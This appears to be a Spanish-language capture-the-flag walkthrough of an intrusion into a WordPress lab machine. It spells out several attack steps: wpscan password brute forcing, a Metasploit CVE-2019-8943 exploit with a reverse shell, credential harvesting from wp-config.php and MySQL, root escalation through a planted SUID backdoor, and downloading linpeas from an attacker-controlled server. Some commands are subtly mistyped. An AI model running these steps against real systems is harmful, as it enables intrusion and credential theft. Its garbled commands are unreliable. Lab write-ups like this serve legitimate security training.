Blog
Hola y bienvenido a un nuevo video.
El día de hoy vamos a simular un escenario en donde una empresa
XYZ nos contrata para hacer un pentesting a su gestor de contenido.
No nos brinda mucha información, por lo que estamos simulando una
prueba de penetración de caja gris. Solo contamos con la IP y
dominio. Además, la empresa nos indica que existe un usuario
insider (se refiere a una persona con acceso interno a información
privilegiada y por lo general son personas descontentas por algún
motivo ya sea económico y otro, y que pueden facilitar el acceso a un
adversario). Y que probablemente este dejando un backdoor.
Podemos suponer que este insider puede que administre este gestor
de contenido y el servidor.
Entonces vamos a iniciar, pero sin antes un pequeño Disclaimer.
1. Requisitos:
Agregar a /etc/host
echo /etc/hosts >> x.x.x.x blog.thm
2. Enumeración:
Como siempre, comencemos con un escaneo de puertos básico:
nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn
192.168.0.10 -oG allPorts
-sS: tcp sync port scan es más sigiloso porque el camino de 3 vias no se
completa
--min--rate controlar el número de paquetes que se quiere, vamos enviar 5
mil x segundo
-Pn es para evitar descubrimiento de host mediante resolución de nombres de
ARP.
Escaneo exhaustivo de puertos.
nmap -sC -sV -p22,80 192.168.0.10 -oN targeted
2.1. HTTP:
Hacemos una enumeración manual de directorios
gobuster dir -u http://blog.thm -w
/usr/share/wordlists/dirb/big.txt
Es importante siempre revisar si el sitio web tiene un
archivo robots.txt (es un archivo de texto ubicado en la raíz de un sitio
web que sirve para dar instrucciones a los motores de búsqueda (como
Google, Bing, etc.) sobre qué partes del sitio pueden o no pueden rastrear
(indexar).).
Y vemos una entrada de permisos para /wp-
admin/admin-ajax.php (no vemos nada útil).
2.2. SMB:
Enumeramos los recursos compartidos de Samba
usando enum4linux.
enum4linux -a blog.thm
O smbclient sin usuario y contraseña ya que no contamos
con credenciales válidas.
smbclient –N –L ‘\\10.10.10.10’
otra opción con smbmap para verificar si hay recursos
compartidos disponibles.
smbmap -H blog.thm
Intentemos obtener los archivos del recurso compartido
BillySMB, ya que es el que se destaca.
smbclient //10.10.29.18/BillySMB
ls o dir
Vamos a descargar los archivos
get nombre_archivo
Como ya tenemos indicios de que el usuario es un insider
puede que este dejando algo oculto entre los archivos, para
ello revisemos algunos de los archivos, primero tratemos
de descargarlo.
Aquí cuando nos encontremos con archivos sería bueno
revisar si hay elementos esteganográficos incrustados ( es
decir que se usa para ocultar algún archivo dentro de otro ), y esto lo que
hacemos con la ayuda de steghide.
steghide extract -sf Alice-White-Rabbit.jpg
Vemos que hay un archivo "rainbow_hole.txt" incrustado
en la imagen, que podemos extraer sin contraseña.
Intentemos recuperarlo y ver su contenido.
Bueno no vemos nada útil. Volvamos a la web.
2.3. HTTP:
Vamos a revisar el sitio web, vemos que es un blog básico.
Con la enumeración que hicimos sabemos que usa
WordPress (también podemos verlo con whatweb o weppanalyzer).
Si revisamos más el blog vemos que contiene una sola
publicación de una usuaria llamada Karen Wheeler para
Billy Joel. También podemos ver en robots.txt, una página
de inicio de sesión de WordPress (/wp-admin/)
2.4. WPScan:
Hagamos ahora una enumeración de usuario sobre el sitio
web usando wpscan. Para ver si encontramos algunos
nombres de usuarios potenciales.
wpscan --url blog.thm -e u
- Vemos que el sitio usa la versión 5.0 de WordPess
- Y que encontró dos usuarios: kwheel, bjoel, Karen
Wheeler y Billy Joel.
- Tambien vemos un directorio accesible:
http://blog.thm/wp-content/uploads/
Como WPScan tiene una función de fuerza bruta, podemos
usarla, también podríamos usarla con Hydra. Creamos un
directorio con el nombre user.txt e ingresamos todos los
nombres de usuarios encontrados anteriormente.
wpscan --url http://blog.thm -U user.txt -P
/usr/share/wordlists/rockyou.txt
wpscan --url blog.thm -U kwheel,bjoel -P
/opt/wordlists/rockyou.txt --password-attack wp-login -t 64
Esperamos unos minutos y mientras revisamos la versión
de WordPress.
Si buscamos la versión en exploit-db vemos que existen
varias vulnerabilidades. Dentro de la lista nos llamó uno la
atención el propietario que está en Metasploit y que es una
vulnerabilidad CVE-2019-8943, la cual permite la ejecución
remota de código a través de la funcionalidad de recorte de
imágenes.
Si ingresamos al exploit e investigamos un poco más sobre
esta vulnerabilidad, descubriremos que requiere una
cuenta de usuario.
Volvamos a ver si ya termino nuestra fuerza bruta. Después
de aproximadamente dos minutos obtuvimos con éxito una
cuenta de usuario (kwheel:cutiepie1) que ahora podemos
usar para obtener un shell.
Vamos a utilizar estas credenciales para iniciar sesión en
WordPress. Vamos a intentar primero cargar un reverse
Shell de PHP con PentestMonkey:
https://github.com/pentestmonkey/php-reverse-shell
Intentemos cargar el archivo en Media->Add New y no
recibimos ninguna respuesta. Al parecer por este lado no
podremos obtener acceso al servidor ya que no está
permitido por razones de seguridad, bien hasta aquí.
3. Explotación:
Como sabemos que la versión de WordPress es vulnerable
vamos a buscarlo con searchsploit:
searchsploit wordpress 5.0
Buenos aquí vemos varios plugin, pero lo que nos interesa es
WordPress Core con la versión 5.0 y de todos esto vemos que
hay uno que está en Metasploit.
3.1. Metasploit CVE-2019-8943
Ingresamos con:
msfconsole
search wordpress 5.0
Vemos que tiene un módulo
exploit/multi/http/wp_crop_rce que explota esta
vulnerabilidad y que podemos utilizar para obtener un
shell. Usamos el primero que tiene el número 0.
use 0
Tenemos un payload configurado por defecto que es
php/meterpreter/reverse_tcp. Ahora configuramos las
opciónes:
options
set rhost blog.thm
set username kwheel
set password cutiepie1
set LHOST 10.23.116.136
run
Y bien, ahora por fin conseguimos una Shell. Ahora
revisemos más cosas y tratemos de escalar privilegios.
Pero antes convertimos el shell en un shell TTY usando el
comando de una sola línea de Python.
shell
python -c 'import pty; pty.spawn("/bin/sh")'
3.2. Shell
Veamos que usuario somos actualmente:
id o whoami
El shell que podemos obtener es el del usuario www-data.
Revisemos el directorio home y veamos si encontramos
algún otro usuario.
En el directorio de bjoel encontramos un PDF, tratemos de
descargarlo para ver que hay dentro para una inspección
más detallada.
Ctrl+z
Background channel 1?: y
pwd
cd /home/bjoel
download nombre_pdf
xdg-open Billy_Joel_Termination_May20-2020.pdf
Bueno, vemos que el contenido del PDF no fue
particularmente útil. Al leer el archivo PDF, se descubrió
que Bill Joel trabajaba para Rubber Ducky Inc. y fue
despedido. Esto podría haberlo llevado a escribir blogs.
Rubber Ducky parecía una pista. Volveremos a ello más
adelante.
Como sabemos hay archivos de configuración de
WordPress que sería bueno verificar sus directorios.
Echemos un vistazo a wp-config.php
cat /var/www/wordpress/wp-config.php
Encontramos las credenciales de MySQL
mysql -u wordpressuser -p
show databases;
use blog;
show tables;
select * from wp_users;
En la tabla users, podemos ver 2 hashes. Podemos utilizar
hash-identifier para obtener el tipo de hash que se está
utilizando.
hash-identifier
4. Escalada de privilegios:
Después de pasar un buen rato intentando descifrar la
contraseña de bjoel, hay que buscar otra ruta. Podríamos
probar con nuestro clásico "sudo -l” (no será de mucha utilidad por
ahora), así que pasamos a SUID.
4.1. SUID:
Buscamos si hay un binario con el suid inusual por ahí.
find / -perm -4000 2>/dev/null
Vemos varios binarios con SUID. Buscamos estos en
GTFObins y vemos un binario SUID interesante que no se
encuentra en GTFObins, pero si vemos tiene el SUID
activado (ls -la) que es /usr/bin/checker.
Es algo raro que haya un binario que no esté en GTFObin,
quizás lo hayan creado con algún propósito. Si lo
ejecutamos muestra Not an Admin.
/usr/sbin/checker O TAMBIEN $ checker
Not an Admin
Hay que copiarlo a nuestro equipo para analizarlo ya que el
programa imprime una cadena, pero no parece hacer nada
más, así que, para simplificar, podemos hacer un poco de
ingeniería inversa. Comprobémoslo con ghidra.
cd /usr/sbin/checker
python3 –m http.server 8888
curl http://blog.thm:8888/checker -o checker
Antes de analizarlo con ghidra podemos ver con la
herramienta strings:
strings checker
Al abrir el binario en ghidra, creamos un proyecto y luego
arrastramos al proyecto el binario checker. Luego hacemos
clic dercho y damos clic en “Open in default tools”. Nos
abrirá una ventana para analizar, le damos que sí. Y
finalmente nos abre otra ventana y damos clic en analizar.
Una vez abierto, nos vamos a filter y escribimos main.
Seleccionamos el main del directorio Functions y
observamos un script muy básico que verifica si la variable
de entorno "admin" existe. Si existe, ejecuta "/bin/bash"
con un UID de 0, que es el UID del usuario root.
int main(void) {
char *adminEnv = getenv("admin");
if (adminEnv == (char *)0x0) {
puts("Not an Admin");
} else {
setuid(0);
system("/bin/bash");
}
return 0;
}
Entonces, lo que hace esta función es llamar a variable de
entorno getenv() en admin y devolver su valor, que
obviamente es nulo, porque la variable de entorno llamada
'admin' no existe. Por lo que podemos omitir esto
fácilmente configurándola con cualquier valor.
Entonces, si agregamos una variable de entorno y
establecemos su valor en un valor distinto de nulo,
podremos ejecutar nuestra parte "else" del código, que
consiste en llamar a Bash como root... simple
export admin = '1'
checker
id
4.2. LinPEAS:
En lugar de enumerar manualmente un vector de escalada
de privilegios, cargué linpeas para ayudar a automatizar el
proceso.
python3 –m http.server 8080
curl http://10.10.10.10:8080/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./linpeas.sh
Buscamos luego en Searching password in config PHP files
y encontramos estas credenciales:
bjoel:LittleYellowLamp90!@
Usamos las credenciales para iniciar sesión en WordPress.
Verificamos si existe reutilización de contraseñas del
usuario bjoel en la máquina, pero vemos que no, bien
jugado.